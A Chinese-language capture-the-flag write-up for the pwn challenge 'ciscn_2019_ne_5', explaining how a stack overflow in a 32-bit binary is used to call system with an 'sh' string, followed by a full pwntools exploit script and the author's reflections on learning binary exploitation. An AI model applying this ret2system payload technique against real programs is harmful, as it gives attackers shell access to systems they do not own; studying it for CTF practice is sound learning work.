原來system的參數不一定必須是“/bin/sh”,單獨的“sh”也可以拿到shell。。。
32位程序,開啟了堆棧不可執行。
看一眼偽代碼
直接找main函數f5,會報錯。
我們找到地址0x8048801看看是什么
是一個scanf函數,這里我們找到這個函數,先按f5把它反編譯一下,之后再反編譯main函數就可以成功了。
兩次輸入,一個輸出administrator就可以進入菜單,這里我們主要看功能3
print函數跟進去。
發現了system函數,這個時候我們假如可以調用這個函數,並且參數是“/bin/sh”或者是“sh”,我們就可以拿到shell了。。。這個時候就需要我們去找找這個字符串了。
其實我第一次是在ida找到了。剛剛試了試發現用ROPgadget可以直接搜索到。。。突然覺得ROPgadget好強。。。
接下來就是利用其他功能進行棧溢出了,溢出的地址覆蓋成system的地址,這個時候我們就能拿到shell了。
貼一下exp:
1 from pwn import * 2 import time 3 #p = process('./ciscn_2019_ne_5') 4 elf = ELF('./ciscn_2019_ne_5') 5 context.log_level = 'debug' 6 7 system_addr = 0x080484D0 8 sh_addr = 0x080482Ea 9 puts_plt = elf.plt['puts'] 10 puts_got = elf.got['puts'] 11 12 p.sendlineafter('password:','administrator') 13 payload = '1'*0x48 + 'bbbb' + p32(system_addr) + 'aaaa' + p32(sh_addr) 14 p.sendlineafter(':','1') 15 p.sendlineafter('info:',payload) 16 p.sendlineafter(':','4') 17 p.interactive()
說點題外的,從去年十月份計划開始學習pwn,斷斷續續一直前進不去。終於寒假了,加上疫情。只能在家,嚴格意義上來說是1月12號開始學習的pwn,到現在也40天了,四十天終於理解了格式化字符串,對棧溢出真正掌握了,還了解了棧遷移,學了plt、got表,libc版本的知識點。我覺得學了其實也不少。
但是,新春戰役這個比賽,我還是一道題做不出來,我真的是。。。!!!太廢了。。。
一直說要開始學習堆,卻也一直沒開始。。。
😭我真的是太菜了!!!啊啊啊啊啊!!!
我到底什么時候才能變強啊!!!
你所謂的迷茫,不過是清醒地看着自己沉淪。!!!
加油啊!!!你一定可以做出題來,打到線下,去見更大的世界!!!